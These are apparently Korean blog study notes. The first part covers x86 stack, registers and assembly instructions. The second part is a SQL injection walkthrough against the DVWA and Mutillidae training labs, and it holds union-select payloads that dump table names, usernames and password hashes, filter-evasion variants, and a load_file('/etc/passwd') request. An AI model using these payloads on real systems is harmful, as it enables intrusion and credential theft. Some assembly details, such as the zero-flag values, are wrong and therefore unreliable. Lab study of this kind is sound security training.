Stack

 

프로그램 실행 시 사용되는 메모리 영역 중 하나이다.

런타임 시 생성.

Virtual memory(가상 메모리) 영역 중 하나이다.

MMU -> 주소를 관리해주는데 이러한 공간을 가상 메모리라 한다.

Thread 단위로 생성

시작 위치는 Vista 이상 랜덤  Xp는 고정이다.

 

용도

 

임시 데이터 백업

지역변수 저장

함수 매개변수 전달

함수 호출 관련 정보

OS에서 필요할 때 사용

 

 

Virtual memory(가상 메모리)의 구조

STACK
HEAP
DATA
TEXT/CODE

스레드 특징

하나의 프로그램 내에서 다수의 실행 흐름

완벽한 독립이 아닌 일정 부분 공유

공유로 인해 콘텍스트 스위칭(문맥 교환)이 줄어듬.

 

HEAP , DATA, TEXT는 공유로 사용되고 , STACK은 독립적으로 사용된다.

 

 

스택은 크게 Full Stack과 Descending Stack으로 나뉜다.

 

esp의 값은 현재주소에 최신 데이터 값이다.
값이 들어올 수록 주소가 낮아진다.

즉, ADD는 아래로 내려가고, SUB는 올라간다.

 

 

PUSH       

 

스택의 data를 저장

 

ESP를 감소시키고 16비트나 32비트 Source operand를 스택에 복사함.

 

POP       

ESP가 가리키는 곳의 저장된 내용을 Destination operand에 저장 후 ESP 값 증가.

 

EIP값을 변경하는 명령어

 

프로그램의 흐름을 변경할 수 있는 명령어

JMP

JMP 주소

주소를 EIP에 저장. -> MOV EIP, 주소 

 

바로 주소에 있는 코드가 실행된다.

 

CALL

함수의 처음 부분에 나온다.

CALL 주소 

 

PUSH Return Address  //EIP 백업

주소를 EIP에 저장. -> MOV EIP, 주소

 

RET

Linux : RET (Windows: RETN) 둘 다 같은 의미

함수의 끝부분에 나온다.

 

RETN

  POP EIP

 

RETN n

  POP EIP

  ADD ESP, n

 

 

LEAVE

Stack Frame을 릴리즈 하는 데 사용하는 명령어

ESP와 EBP를 프로시저가 호출될 때 할당된 값으로 복구

 

아래 코드와 동일

MOV ESP, EBP

POP EBP 

리눅스 컴파일용 gcc에서 사용

 

 

Application Binary Interface

컴파일 코드와 컴파일된 코드, 컴파일된 코드와 OS 간의 인터페이스를 정의 

호환성 유지가 목적

 

char -> 1byte   c 같은 아스키코드에서는 1byte

      -> 2byte   java같은 유니코드에서는 2byte

Alignment 단위

4byte를 단위로 스택에 저장되기 때문에 9 ,10 ,11 ,12 전부 스택에 3개의 공간을 차지한다.

 

Calling Convention 

함수 호출 목적

Object File Format

.c ,. cpp 컴파일 시 나오는. obj를 의미

 

linker 

.dll .lib //winodws

.so //linux

.obj를 .dll .lib와 같이 함수가 저장되어있는 라이브러리에 연결시켜줘서 .exe를 생성하게 해 준다.

 

Name Decoration

실제 변수의 이름은 알 수 없다.

함수의 이름은 존재한다.

 

 

Endianness

Multi Bytes를 저장하는 순서를 정의하고 있음

최대 4byte 단위로 적용함

 

intel -> Little Endian

 

 

계산

1234 + 5678       

기본적으로 계산할 때 뒤에서부터 계산하는 식을 사용하는데, 그렇기 때문에 little endian의 속도가 더 빠르다.

 

문자열은 Big Endian으로 저장된다.

 

 

 

 

 

버그 바운티

기업의 서비스나 제품 등의 취약점을 찾으면 포상급을 지급하는 제도

 

 

 

리버싱 (Assembly 언어) 2일

Anti Reversing      3일

분석방법(정적, 동적, 상세) 분석

 

 

IA32 Basices  (Intel Architecture) 기반

32비트 어셈블리   

 

 

레지스터 

 

전부 10을 가져오지만 비트 크기가 전부 다르다.

 

EAX = 10;   <- int eax =10;        // 32bit 전체 

AX = 10;     <- short ax = 10;    // 16bit 

AL = 10;    <- char al = 10;      // 8 bit

 

범용 레지스터

- ESP를 제외하고 나머지 레지스터들은 아무 값이나 저장.

 

EAX   

- 종료되는 상황에 값이 있으면 return 값을 의미한다.

ex) MOV EAX 10   -> Return 10

 

EDX

 - MUL, DIV(곱셈, 나눗셈) 값 저장 

ECX

 - 평소에는 그냥 계산 값

 - rep 명령이 있으면 반복 횟수로 변경

 

ESI   

- 출발지 주소 저장

EDI

- 목적지 주소 저장

ESP

- 스택의 주소만 저장.

- 제일 마지막에 들어온 데이터의 주소를 저장.

- 즉 , 스택의 최신 데이터를 가리킨다.

EBP

- 스택 프레임의 처음(기준) 지점의 주소를 저장.

- main() 함수가 실행되면 가장 처음 부분의 주소

- main() 함수가 있고 function() 함수가 실행되면 function()의 처음 주소.

EIP

- 다음 실행할 명령의 주소

 

 

flag 

- 상태 코드

연산 결과가 0이면

zero flag=0

연산 결과가 0이 아니면

zero flag=1

 

Break Point

- 멈춰야 되는 주소

software와 hardware로 나뉨. 

 

software 

디버거가 break Point를 지원

실행하다가 원하는 주소에서 멈출 수 있음.

 

Hardware

 - 이 메모리의 데이터를 읽거나 쓰거나 실행하면 멈추는 것.

 - 시작 값과 결괏값을 알 때 일련의 연산과정을 확인할 수 있음 (암호학 쪽에서 사용)

 

 

 

어셈블리어

 

MOV

데이터 복사

ex)

eax = 10;   // MOV EAX, 10   

10의 값을 EAX로 복사한다. 

MOV 10, 20 //이러한 형태는 되지 않는다.

 

eXtention 확장이라는 의미

 

 

MOVZX

- 부호가 없는 정수에만 사용 //unsignend  부호 없는 정수 표현

ex)

 char 1byte  int 4byte

unsignend  int eax;

unsignend  char al =10;     

eax = al;   //작은 공간 -> 큰 공간으로 복사가 이뤄질 때 사용

MOVZX EAX , AX //부호 없는 정수 AX가 EAX에 들어갔다 해석.

부호없는 정수기 때문에 작은비트에서 큰비트로 복사 됐을 시, 부족한 비트는 0으로 채워짐.

 

MOVSX

- 부호가 있는 정수에만 사용

ex)

char 1byte  int 4byte

int eax;

char al =10;     

eax = al;   //작은 공간 -> 큰 공간으로 복사가 이뤄질 때 사용

 

MOVZX EAX , AX //부호 있는 정수 AX가 EAX에 들어갔다 해석.

부호가 있는 정수기 때문에 작은비트에서 큰비트로 복사 됐을 시, 부족한 비트는 1로 채워짐.

 

 

MOVS S(String)

- 문자열 복사

- 피연산자 개수가  0~2개이다.

- 다른 MOV 연산자들은 2개로 고정.

- 1,2,4 byte 씩 가능하다 64bit 시, 8byte도 가능.

 

- 문자열을 복사할 시, 알아서 주소를 변경해 복사를 해줌.

 

  방향 플래그(DF)가 1 이면 ESI와 EDI는 감소,

  방향 플래그(DF)가 0 이면 ESI와 EDI는 증가  //대부분이 증가한다.

 

 

MOVS 가 나올 때 무조건 크기를 명시해서 나옴. 아래와 같이 표시됨.

 

  BYTE == 1byte == B

  WORD == 2byte == W

  DWORD == 4byte == D

  QWORD == 8byte == Q  

 

MOVS     //피연산자가 없을 경우 , 크기에 따라 MOVSB  MOVSD MOVSW 이런 식으로 나타냄.

MOVSB // ESI의 1byte를  EDI로 옮긴다.

MOVSD // ESI의 4byte를  EDI로 옮긴다.

 

 

 

ESI  //출발지

EDI //도착지

MOVS EDI , ESI라는 연산 식이 고정이다. 따라서, 아래 연산 식이 전부 같은 의미.

MOVS EDI , ESI  

MOVS     //피연산자가 없을 경우 , 크기에 따라 MOVSB  MOVSD MOVSW 이런 식으로 나타냄.

MOVS EDI

MOVS ESI 

간단히 정리하면 , ESI의 값을 EDI로 복사할 거야 라는 의미이다.

 

ADD

더하기 연산자 

 

MOV EAX, 1

MOV EBX, 2

ADD EAX, EBX or ADD EAX, 2      

ADD 1, 2 //이런식의 문법은 오류다.

 

eax=1;

ebx=2;

eax+=ebx;

 

SUB

빼기 연산자

 

MOV EAX, 1

MOV EBX, 2

SUB EAX, EBX      

SUB 1, 2 //이런식의 문법은 오류다.

 

eax=1;

ebx=2;

eax-=ebx;

 

MUL

부호 없는 곱하기 연산자

- unsignend을 사용해야 보임.

- 결과는 EDX:EAX에 저장

 

IMUL

부호 있는 곱하기 연산자

 

- 피연산자의 수가 3개 까지 표현 가능

- 결과는 EDX:EAX에 저장

- 결괏값을 초기화할 때 양수면 0으로 초기화 음수면 1로 초기화

IMUL ECX -> //IMUL (EAX), ECX를 표현

IMUL EAX, EBX, ECX  //EBX * ECX의 값을 EAX의 저장

 

 

DIV

부호 없는 나누기 연산자

- unsignend을 사용해야 보임.

- 몫 : EAX

- 나머지 : EDX

 

IDIV

부호 있는 나누기 연산자

- 몫 : EAX

- 나머지 : EDX

- 나눗셈 수행 전 CBW, CWD, CDQ를 통해 부호 비트를 확장

- 음수면 1로 채우고 양수면 0으로 채운다.

 

 CBW 1byte 끼리 나누기

 CWD 2byte 끼리 나누기

 CDQ 2byte와 4byte를 나눌 때 큰 바이트를 따라감.

 

INC(++)

증가 연산자

값이 1씩 증가

 

DEC(--)

감소 연산자

값이 1씩 감소

 

AND 

둘다 참일 때만 참

 

MOV EAX, 59

MOV EBX, 15

AND EAX, EBX   //59와 15를 AND연산하여라.

 

eax = 59;

ebx = 15;

eax &= ebx;

 

OR

하나라도 참이면 참

 

MOV EAX, 59

MOV EBX, 15

OR EAX, EBX   //59와 15를 OR 연산하여라.

 

eax = 59;

ebx = 15;

eax |= ebx;

 

XOR

 같으면 0 다르면 1

 패리티 점검에 사용

 x^y=z ==  y^z=x

 

0을 선언할 때, 

MOV EBX, 0 이러한 식보다

XOR EBX, EBX   이러한 식이 더 유용하다. cpu가 논리연산을 선호하기 때문이다.

 

 

MOV EAX, 59

MOV EBX, 15

XOR EAX, EBX   //59와 15를 OR 연산하여라.

 

eax = 59;

ebx = 15;

eax ^= ebx;

 

SHL

연산자의 비트를 왼쪽으로 이동 곱셈

1의비트를 잃어버리면 곱셈의 규칙이 깨짐

 

MOV d1, 5

sh1 d1, 1

 

SHR

연산자의 비트를 오른쪽으로 이동 나눗셈 

1의비트를 잃어버리면 나눗셈의 규칙이 깨짐

 

MOV d1, 32

shr d1, 1

 

LEA

 

두번 째 Operand의 주소를 계산하고 첫번째 Operand에 저장

 

 

MOV 에서의 [ ]는 포인터 연산자이다.  즉, 

MOV eax, [edx+4] 는 edx+4의 주소를 eax의 저장한다라는 의미이다.

eax = *(edx+4);

LEA eax, [edx+4]   //edx+4의 결과를 eax의 저장

eax = edx+4;

 

 

SCAS (SCAn String)

EAX에 저장되어 있는 값과 ES:EDI가 가리키는 곳(주소) 에 저장되어 있는 값을 비교

SCASB  byte를 의미

 

 

 

STOS(STOre String)

EAX에 저장 되어 있는 값을 ES:EDI가 가리키는 곳에 값을 저장 

STOSB byte를 의미

 

 

 

 

CMP EAX, EBX  //EAX가 더크면 조건문 실행        if문 같은 제어문이 나올 때 나옴.

JG 0x1000

 

CMP, TEST, SCAS  //비교 연산자 대부분 JUMP와 연관되어 나옴.

JG 0x1000

JL

JE

JZ

JNZ

 

 

 

REP

ECX레지스터의 저장된 값 만큼  해당 명령어를 반복 실행, 접두사 형식으로 사용됨

 

'악성코드 분석' 카테고리의 다른 글

패스워드 알아내기  (0) 2019.06.04
quiz를 통해 익숙해지기  (0) 2019.05.22
어셈블리어 로 test.cpp 해석  (0) 2019.05.21
Debugger사용법, 간단한test.exe파일을 통해 분석  (0) 2019.05.17
기초지식(스택)  (0) 2019.05.16

 

 

 

[컬럼 개수 알아내기]

 

 

값이 나올때 까지 넣어본다. //노가다

 

1 'union select 1,2,3,4,5 #

1 'union select 1,2,3 # 

1 'union select 1,2 #   //이거만 질의의 응답하므로, 2개이다.

 

 

 

db 이름

' union select 1,database() #

 

테이블 이름

' union select 1,table_name from information_schema.tables #'union select 2,table_name from information_schema.tables where table_schema='dvwa' #

'union select 2,table_name from information_schema.tables where table_schema='dvwa' #

컬럼 이름

' union select 1,column_name from information_schema.columns #

사용자 이름

1'or'1'='1

 

[패스워드] //md5로 저장되어 있음

' union select user,password from users # #

 

 

[우회하는 방법]

http://meta/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#  //기본 쿼리

 

http://meta/dvwa/vulnerabilities/sqli/?id=1' union select table_name,2 from information_schema.tables where table_schema='dvwa'%23&Submit=Submit# // DVWA 테이블 출력

 

 //16진수로 우회
http://meta/dvwa/vulnerabilities/sqli/?id=1' union select table_name,2 from information_schema.tables where table_schema=0x64767761%23&Submit=Submit#

 

//대소문자나 **을 통해 우회
http://meta/dvwa/vulnerabilities/sqli/?id=1%27/**/uNioN/**/sElEct/**/table_name,2/**/from information_schema.tables where table_schema=0x64767761%23&Submit=Submit#  

 

//%20을 통해 우회 %20 공백
http://meta/dvwa/vulnerabilities/sqli/?id=1%27%20uNioN%20sElEct%20table_name,2%20from information_schema.tables%20where%20table_schema=0x64767761%23&Submit=Submit#  

 

 

 

load_File 을 통해 파일을 불러올 수 도 있다.

http://meta/mutillidae/index.php?page=user-info.php&username=admin' union select null,load_file('/etc/passwd'),null,null,null%23&user-info-php-submit-button=View+Account+Details 

'Web Security' 카테고리의 다른 글

sql injection  (0) 2019.04.04
SQL  (4) 2019.04.04
CSRF(Cross Site Request Forgery)  (0) 2019.04.02
brute force 공격  (0) 2019.04.02
crunch [사전파일생성]  (0) 2019.04.02

+ Recent posts